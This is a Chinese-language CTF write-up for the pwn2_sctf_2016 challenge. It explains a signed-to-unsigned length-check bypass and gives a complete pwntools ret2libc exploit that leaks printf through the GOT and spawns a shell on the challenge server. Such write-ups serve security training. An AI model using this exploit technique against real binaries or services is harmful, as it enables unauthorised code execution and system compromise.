【符号位漏洞+ret2libc】pwn2_sctf_2016
Thursday, December 29, 2022
本文共959字
2分钟阅读时长
⚠️本文是作者P3troL1er原创,首发于https://peterliuzhi.top/writeup/%E7%AC%A6%E5%8F%B7%E4%BD%8D%E6%BC%8F%E6%B4%9E+ret2libcpwn2_sctf_2016/。商业转载请联系作者获得授权,非商业转载请注明出处!
Follow effective action with quiet reflection. From the quiet reflection will come even more effective action.
— Peter Drucker
原题链接
checksec查看程序架构
$ checksec --file ./pwn2_sctf_2016
[*] '/home/peterl/security/workspace/pwn2_sctf_2016/pwn2_sctf_2016'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
ida查看程序伪代码
我们发现第一次输入的数字决定了第二次输入的字符个数,但是必须小于32,而我们查看过栈情况后发现32个字符是不够的
然后我们发现get_n的第二个参数的类型为unsigned int:
那么我们可以考虑符号位漏洞
构建exp
符号位溢出
我们知道,在计算机中负数是由补码机制表示的 (还有另一种不流行的表示方法,就是把第一位作为符号位,1表示负,0表示正,剩下的位表示数字的绝对值,但这样会产生-0和+0两个0),也就是说,原本如果不考虑负数,我们可以表示0~0xffffffff的正数,但是现在我们把它对半分,用后面那一节表示负数,那么这个数轴就变成了:
0x80000000 ~ 0xffffffff |
0 |
0x1 ~ 0x7fffffff |
$-2^{31}$ ~ $-1$ |
$0$ |
$1$ ~ $2^{31}-1$ |
但是如果我们在C语言中进行数字的比较时,我们是比较的它们逻辑上的值,也就是-1 < 32,尽管-1在计算机内部的数值是大于32的(因为负数实际的值一定是大于等于0x80000000的,所以负数的第一位一定是1,而正数的第一位一定是0,这样我们就可以通过第一位来判断数字的正负了)
如果我们将-1强制转换为无符号整数,那么它负数的属性就消失了,它逻辑上就是$2^{32}-1$
这种逻辑上的不一致就产生了符号位漏洞
ret2libc
这题最无语的是它提供了一个do_thing
函数:
我还以为是要用syscall做,浪费了好多时间找能改变eax、ebx、ecx、edx的gadget,结果找了一圈就是没有能改eax的,后来无奈只能用ret2libc做
这个程序有printf
函数,我们通过printf
函数泄露基址就好了
完整exp
需要注意的是,这题的libc在libcdatabase是搜不到的,因此用不了libcsearcher
可以去BUUCTF的FQA专栏找libc的下载地址
from pwn import *
from pwn import p64, p32, u32, u64
# from LibcSearcher import LibcSearcher
pss: bool = True
fn: str = "./pwn2_sctf_2016"
libc_name: str = "./libc-2.23.so"
port: str = ""
if_32: bool = True
if_debug:bool = False
pg = p32 if if_32 else p64
context(log_level="debug", arch="i386" if if_32 else "amd64", os="linux")
if pss:
p = remote("node4.buuoj.cn", port)
else:
if if_debug:
p = gdb.debug(fn, "b* 0x80485B7")
else:
p = process(fn)
m_elf = ELF(fn)
libc = ELF(libc_name)
p.clean()
p.sendline(b"-1")
p.clean()
payload = b"a"*(0x2C + 0x4) + pg(m_elf.plt['printf']) + pg(m_elf.sym['vuln']) + pg(m_elf.got['printf'])
p.sendline(payload)
p.recvuntil(b'\n')
printf_addr = u32(p.recv(4))
success(hex(printf_addr))
base_addr = printf_addr - libc.sym['printf']
system_addr: int = base_addr + libc.sym['system']
exit_addr: int = base_addr + libc.sym['exit']
bin_sh_addr: int = base_addr + next(libc.search(b"/bin/sh"))
success(hex(base_addr))
p.clean()
p.sendline(b"-1")
p.clean()
ret: int = 0x08048346
payload = b"a"*(0x2C + 0x4) + \
pg(system_addr) + pg(exit_addr) + pg(bin_sh_addr)
p.sendline(payload)
p.clean()
p.interactive()
扫码阅读此文章
点击按钮复制分享信息
点击订阅